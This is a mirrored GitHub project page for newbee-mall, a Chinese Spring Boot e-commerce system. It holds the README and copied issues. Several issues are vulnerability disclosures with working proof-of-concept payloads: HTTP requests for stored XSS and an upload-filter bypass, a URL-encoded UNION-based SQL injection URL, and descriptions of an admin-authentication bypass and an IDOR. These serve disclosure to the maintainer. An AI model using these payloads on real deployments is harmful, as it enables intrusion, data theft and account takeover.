Giter Site home page Giter Site logo

newbee-ltd / newbee-mall Goto Github PK

View Code? Open in Web Editor NEW
10.8K 228.0 2.7K 35.38 MB

🔥 🎉newbee-mall是一套电商系统,包括基础版本(Spring Boot+Thymeleaf)、前后端分离版本(Spring Boot+Vue 3+Element-Plus+Vue-Router 4+Pinia+Vant 4) 、秒杀版本、Go语言版本、微服务版本(Spring Cloud Alibaba+Nacos+Sentinel+Seata+Spring Cloud Gateway+OpenFeign+ELK)。 前台商城系统包含首页门户、商品分类、新品上线、首页轮播、商品推荐、商品搜索、商品展示、购物车、订单结算、订单流程、个人订单管理、会员中心、帮助中心等模块。 后台管理系统包含数据面板、轮播图管理、商品管理、订单管理、会员管理、分类管理、设置等模块。

Home Page: https://item.jd.com/12890115.html

License: GNU General Public License v3.0

Java 90.81% HTML 9.19%
spring-boot springboot mybatis mall shop springboot2 springboot-sample springboot-learning adminlte springboot-mybatis

newbee-mall's Introduction

newbee-logo

Build Status Version 1.0.0 License

newbee-mall 项目是一套电商系统,包括 newbee-mall 商城系统及 newbee-mall-admin 商城后台管理系统,基于 Spring Boot 及相关技术栈开发。 前台商城系统包含首页门户、商品分类、新品上线、首页轮播、商品推荐、商品搜索、商品展示、购物车、订单结算、订单流程、个人订单管理、会员中心、帮助中心等模块。 后台管理系统包含数据面板、轮播图管理、商品管理、订单管理、会员管理、分类管理、设置等模块。

当前分支的 Spring Boot 版本为 2.7.5,想要学习和使用其它版本可以直接点击下方的分支名称跳转至对应的仓库分支中。

分支名称 Spring Boot Version
spring-boot-2.3.7 2.3.7-RELEASE
spring-boot-2.6.x 2.6.3
main 2.7.5
spring-boot-3.x 3.1.0

新蜂商城线上预览地址:http://mall.newbee.ltd,账号可自行注册。

坚持不易,如果觉得项目还不错的话可以给项目一个 Star 吧,也是对我自 2019 年开始一直更新这个项目的一种鼓励啦,谢谢各位的支持。

newbee-mall-info

  • newbee-mall 对新手开发者十分友好,无需复杂的操作步骤,仅需 2 秒就可以启动这个完整的商城项目;
  • newbee-mall 也是一个企业级别的 Spring Boot 大型项目,对于各个阶段的 Java 开发者都是极佳的选择;
  • 你可以把它作为 Spring Boot 技术栈的综合实践项目,newbee-mall 足够符合要求,且代码开源、功能完备、流程完整、页面交互美观;
  • 技术栈新颖且知识点丰富,学习后可以提升大家对于知识的理解和掌握,可以进一步提升你的市场竞争力;
  • 对于部分求职中的 Java 开发者,你也可以将该项目放入求职简历中以丰富你的工作履历;
  • newbee-mall 还有一些不完善的地方,鄙人才疏学浅,望见谅;
  • 有任何问题都可以反馈给我,我会尽量完善该项目。

newbee-mall (新蜂商城)系列项目概览

newbee-mall-course-2022

项目名称 仓库地址 备注
newbee-mall newbee-mall in GitHub
newbee-mall in Gitee
初始版本、Spring Boot、Thymeleaf、MyBatis、MySQL
newbee-mall-plus newbee-mall-plus in GitHub
newbee-mall-plus in Gitee
升级版本、优惠券、秒杀、支付、Spring Boot、Thymeleaf、MyBatis、MySQL、Redis
newbee-mall-cloud newbee-mall-cloud in GitHub
newbee-mall-cloud in Gitee
微服务版本、分布式事务、Spring Cloud Alibaba、Nacos、Sentinel、OpenFeign、Seata
newbee-mall-api newbee-mall-api in GitHub
newbee-mall-api in Gitee
前后端分离、Spring Boot、MyBatis、Swagger、MySQL
newbee-mall-api-go newbee-mall-api-go in GitHub
newbee-mall-api-go in Gitee
前后端分离、Go、Gin、MySQL
newbee-mall-vue-app newbee-mall-vue-app in GitHub
newbee-mall-vue-app in Gitee
前后端分离、Vue2、Vant
newbee-mall-vue3-app newbee-mall-vue3-app in GitHub
newbee-mall-vue3-app in Gitee
前后端分离、Vue3、Vue-Router4、Vuex4、Vant3
vue3-admin vue3-admin in GitHub
vue3-admin in Gitee
前后端分离、Vue3、Element-Plus、Vue-Router4、Vite

更多 Spring Boot 实战项目可以关注十三的另一个代码仓库 spring-boot-projects,该仓库中主要是 Spring Boot 的入门学习教程以及一些常用的 Spring Boot 实战项目教程,包括 Spring Boot 使用的各种示例代码,同时也包括一些实战项目的项目源码和效果展示,实战项目包括基本的 web 开发以及目前大家普遍使用的前后端分离实践项目等,后续会根据大家的反馈继续增加一些实战项目源码,摆脱各种 hello world 入门案例的束缚,真正的掌握 Spring Boot 开发。

关注公众号:程序员十三,回复"勾搭"进群交流。

wx-gzh

项目演示

开发及部署文档

联系作者

大家有任何问题或者建议都可以在 issues 中反馈给我,我会慢慢完善这个项目。

newbee-mall 在 GitHub 和国内的码云都创建了代码仓库,如果有人访问 GitHub 比较慢的话,建议在 Gitee 上查看该项目,两个仓库会保持同步更新。

软件著作权

本系统已申请软件著作权,受国家版权局知识产权以及国家计算机软件著作权保护!

页面展示

以下为商城项目的部分页面,由于篇幅所限,无法一一列举,重要节点及重要功能的页面都已整理在下方。

商城页面预览

  • 商城首页 1

    index

  • 商城首页 2

    index

  • 商品搜索

    search

  • 购物车

    cart

  • 订单结算

    settle

  • 订单列表

    orders

  • 支付页面

    settle

后台管理页面

  • 登录页

    login

  • 轮播图管理

    carousel

  • 新品上线

    config

  • 分类管理

    category

  • 商品管理

    goods

  • 商品编辑

    edit

  • 订单管理

    order

newbee-mall-info

感谢

newbee-mall's People

Contributors

newbee-mall avatar xuxinkai-cn avatar zhenfeng13 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

newbee-mall's Issues

register is faied

注册的时候出现未知异常请联系管理员,应该怎么解决呀?谢谢你的回答,还有upload应该直接放在resource下边吗

缓存

三哥,能否把缓存机制整合进来

图片上传

大佬您好,后台商品管理怎么上传图片的呢,没看到有图片上传

Help

错误信息:nested exception is org.apache.ibatis.exceptions.PersistenceException: ### Error querying database. Cause: org.springframework.jdbc.CannotGetJdbcConnectionException: Failed to obtain JDBC Connection; nested exception is java.sql.SQLNonTransientConnectionException: Could not create connection to database server. Attempted reconnect 3 times. Giving up. ### The error may exist in file [D:\Desktop\newbee-mall-master\target\classes\mapper\GoodsCategoryMapper.xml] ### The error may involve ltd.newbee.mall.dao.GoodsCategoryMapper.selectByLevelAndParentIdsAndNumber ### The error occurred while executing a query ### Cause: org.springframework.jdbc.CannotGetJdbcConnectionException: Failed to obtain JDBC Connection; nested exception is java.sql.SQLNonTransientConnectionException: Could not create connection to database server. Attempted reconnect 3 times. Giving up.

几个潜在漏洞提醒

AdminLoginInterceptor存在绕过风险,uri.startsWith("/admin")可以用../绕过,建议对uri进行归一化处理后再进行操作

admin/upload/file接口,任意文件上传+跨目录上传,结合上AdminLoginInterceptor的绕过很容易被种马

There is a Cross site scripting vulnerability exists in newbee-mall

[Suggested description]
There is a cross site scripting vulnerability in the commodity information modification module in the main version of NewBee mall. The vulnerability stems from the fact that the form submission module that modifies the commodity information does not restrict or escape the sensitive characters entered, causing the execution of malicious JS code to trigger JS pop-up.

[Vulnerability Type]
Cross site scripting vulnerability

[Vendor of Product]
https://github.com/newbee-ltd/newbee-mall

[Affected Product Code Base]
v1.0.0

[Affected Component]

POST /admin/goods/update HTTP/1.1
Host: localhost:28089
Content-Length: 392
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Type: application/json
Origin: http://localhost:28089
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:28089/admin/goods/edit/10907
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: locale=zh-cn; Hm_lvt_a4980171086658b20eb2d9b523ae1b7b=1645520663,1645696647; JSESSIONID=5B28A8C926D035BCC4A809131899B51D
Connection: close

{"goodsId":"10907","goodsName":"鐖辩柉<script>alert(\"xss\")</script>","goodsIntro":"xxx","goodsCategoryId":"47","tag":"鐖辩柉","originalPrice":"1","sellingPrice":"1","stockNum":"0","goodsDetailContent":"<p>hhh</p><p><br/></p>","goodsCoverImg":"http://localhost:28089/upload/20220303_10153124.html","goodsCarousel":"http://localhost:28089/upload/20220303_10153124.html","goodsSellStatus":"0"}

[Impact Code execution]
true

[Vulnerability proof]
1.Access address http://localhost:28089/admin/goods , select the commodity information to be modified and enter information editing.
image

2.Enter <script>alert(“xss”)</script> in the input box and click Save to complete the form information submission.
image

image

3.The pop-up window is triggered when the page is refreshed, and the loophole reproduction is completed
image

关于快速部署和样例

有两个疑问:

  1. 大神能否给出个快速部署的教程,或者给个docker的镜像;
  2. 相比展示那么多贴图,有木有用这个搭起来的demo网站。

多谢。

Add Dockerfile

adding a docker file for the whole project would be usefull

yesyes

Can share the background database come out?

There is a File upload vulnerability exists in newbee-mall

[Suggested description]
A file upload vulnerability exists in NewBee mall. Because the upload method of uploadcontroller can bypass the upload restriction by modifying the file format suffix.

[Vulnerability Type]
File upload vulnerability

[Vendor of Product]
https://github.com/newbee-ltd/newbee-mall

[Affected Product Code Base]
v1.0.0

[Affected Component]
POST /admin/upload/file HTTP/1.1
Host: localhost:28089
Content-Length: 671
Cache-Control: max-age=0
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://localhost:28089/
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoXATzrr6JWhnTx5Q
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: iframe
Referer: http://localhost:28089/admin/goods/edit/10907
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: locale=zh-cn; Hm_lvt_a4980171086658b20eb2d9b523ae1b7b=1645520663,1645696647; JSESSIONID=11D044F12F07C3F2772AC7EE836610E2
Connection: close

------WebKitFormBoundaryoXATzrr6JWhnTx5Q
Content-Disposition: form-data; name="file"; filename="1.html.png"
Content-Type: image/png

<script type="text/javascript" src="http://www.qq.com/404/search_children.js" charset="utf-8" homePageUrl="{{domain}}" homePageName="{{siteName}}"></script>
        <script>alert("xss")</script>
    </div>
</div>
------WebKitFormBoundaryoXATzrr6JWhnTx5Q--

[Impact Code execution]
true

[Vulnerability proof]
1.Access address http://localhost:28089/admin/goods , select a commodity information to modify and enter the file upload page.
image
2.Open burpsuite packet capturing agent and click to upload pictures.
image
3.By default, the system only supports JPG, PNG and GIF files. We can bypass them by modifying the file suffix.
image
4.Modify the value of filename to 1.html
image
Get the access path to file upload
image
Complete data update
image
5.Access the upload file path, and the vulnerability reproduction is completed.
image

[Defective code]
image

界面显示问题

作者你好像没有提供商品图片的文件夹,导致不能显示商品的图片。或者还是我自己哪里出错了。
image
`

bug修复

修复在后台下架商品前台扔能搜索到的bug

登录

大佬,图片上传知道了,就是有个问题,我浏览商品的时候,查看商品详情就让我登录,我想着是购买或者加入购物车的时候再登录,然后我把商城页面登录拦截那里的代码:.addPathPatterns("/goods/detail/**")删掉了,好像不可以呢,点击购买和加入购物车就没反应了

希望可以增加Unit test

在spring中unit test也是极其重要的一环,希望可以增加unit test的部分来和代码形成互相验证

商品图片不显示

大佬,商品图片好像不显示,我解压那个upload文件,然后在static新建一个goods-img文件夹也不显示呢

建议在协议上增加附加条件,比如只允许学习使用,任何商用行为需要获得授权。

如何看待开源软件的知识产权问题
这样后续任何使用该项目的人都可以清晰的了解到使用范围,而不是使用 GPL 协议加软件著作权,还得仔细看看他俩的内容。
举个例子:如果我使用该软件并且修改了还售卖服务,我只要开源就好了(根据 GPL),不需要获得原作者的授权。那对于软件著作权来说我需要获得原作者的授权么?没有仔细了解,不清楚。

SQL Injection in ` \src\main\resources\mapper\NewBeeMallGoodsMapper.xml `

\src\main\resources\mapper\NewBeeMallGoodsMapper.xml

    <select id="findNewBeeMallGoodsListBySearch" parameterType="Map" resultMap="BaseResultMap">
        select
        <include refid="Base_Column_List"/>
        from tb_newbee_mall_goods_info
        <where>
            <if test="keyword!=null and keyword!=''">
                and (goods_name like CONCAT('%','${keyword}','%') or goods_intro like CONCAT('%','${keyword}','%'))
            </if>
            <if test="goodsCategoryId!=null and goodsCategoryId!=''">
                and goods_category_id = #{goodsCategoryId}
            </if>
        </where>
        <if test="orderBy!=null and orderBy!=''">
            <choose>
                <when test="orderBy == 'new'">
                    <!-- 按照发布时间倒序排列 -->
                    order by goods_id desc
                </when>
                <when test="orderBy == 'price'">
                    <!-- 按照售价从小到大排列 -->
                    order by selling_price asc
                </when>
                <otherwise>
                    <!-- 默认按照库存数量从大到小排列 -->
                    order by stock_num desc
                </otherwise>
            </choose>
        </if>
        <if test="start!=null and limit!=null">
            limit #{start},#{limit}
        </if>
    </select>

Where ${keyword} is used for splicing sql statements, there is a risk of SQL injection.

poc:

http://127.0.0.1:28089/search?goodsCategoryId=&keyword=%5C%25%27%29%29%20%55%4E%49%4F%4E%20%41%4C%4C%20%53%45%4C%45%43%54%20%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%43%4F%4E%43%41%54%28%30%78%37%31%37%36%36%32%37%38%37%31%2C%49%46%4E%55%4C%4C%28%43%41%53%54%28%43%55%52%52%45%4E%54%5F%55%53%45%52%28%29%20%41%53%20%43%48%41%52%29%2C%30%78%32%30%29%2C%30%78%37%31%36%32%37%38%36%62%37%31%29%2C%4E%55%4C%4C%2C%4E%55%4C%4C%23&orderBy=default

We will find a sql error, which proves that the vulnerability already exists.

suggest

建议使用lombok;有些函数过长建议拆分

导入sql报错

我按“项目初体验:启动和使用新蜂商城”中所讲,将sql脚本导入新建的数据库中。用的连接工具是navicat for mysql。
工具报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '(0) NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间', create_user i' at line 7。
是mysql版本问题吗?我版本是5.5.58

System background authentication can be bypassed

1、The authentication logic of the system's background /admin is in code AdminLoginInterceptor:
image
2、This can easily be bypassed, like request //admin:
1)We delete the requested cookie field and then request /admin,returns 302:
image
2)But if we request //admin,We can perform administrator actions without logging in,
For example, upload a babat file:
image
It can execute any server command,such as calc:
image

【校招社招】这套商城跟淘宝天猫有什么差别,不好奇吗?

阿里直招,社招校招均有,BU囊括电商零售系统全链路,前端至交易、详情页,后端至仓储、履约,更有海外复杂场景等你实践,有意请邮件简历至 liuzhu.wlz#alibaba-inc.com
校招的潜力股,勇敢发来简历吧,会邀请进校招小群,定期分享写简历的技巧,更有优先面试的机会

公司/团队介绍
我们是阿里巴巴集团新零售技术旗下供应链技术国际化团队,我们致力于通过世界一流的全球化技术服务来自全球10亿+的海外消费者,为全球消费者带去极致的购物体验,让买全球卖全球的使命落地成为普惠全球的显示图景。我们服务的业务实体有 lazada、AliExpress、天猫海外、Daraz、Trendyol等平台。

联系方式
邮箱: liuzhu.wlz#alibaba-inc.com

There is xss in the front desk which can get hazards such as administrator cookies

1、Build an environment to simulate users selecting products at the front desk——add to cart——confirm order-pay:
http://127.0.0.1:28089/shop-cart/settle
Insert the payload here at the harvest information:

<script> alert (document.cookie) ![image](https://user-images.githubusercontent.com/22486282/82964894-369aa900-9ff9-11ea-982e-c1c9960371b5.png) 2、When the administrator logs in to the background, XSS will be triggered when viewing the "View Recipient Information" of this order in the "Order Management Office" ![1111](https://user-images.githubusercontent.com/22486282/82964966-6c3f9200-9ff9-11ea-97aa-b03066d60513.png)

controller传值前端报错

eg: request.getSession().setAttribute("itemsTotal", itemsTotal); 在前端引用itemsTotal时加session. 要不前段无法解析

IDOR causes unauthorized changes to any user information

1、/personal/updateInfo,this interface can be used to update user information:
image
2、The corresponding code is as follows:
image
Track updateUserInfo method:
image
3、The code updates the information after querying by the value of userid, so you can modify any user information by tampering with the value of userId.

技术问答

大佬后期是否考虑引入Redis、MongoDB、ES等技术

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.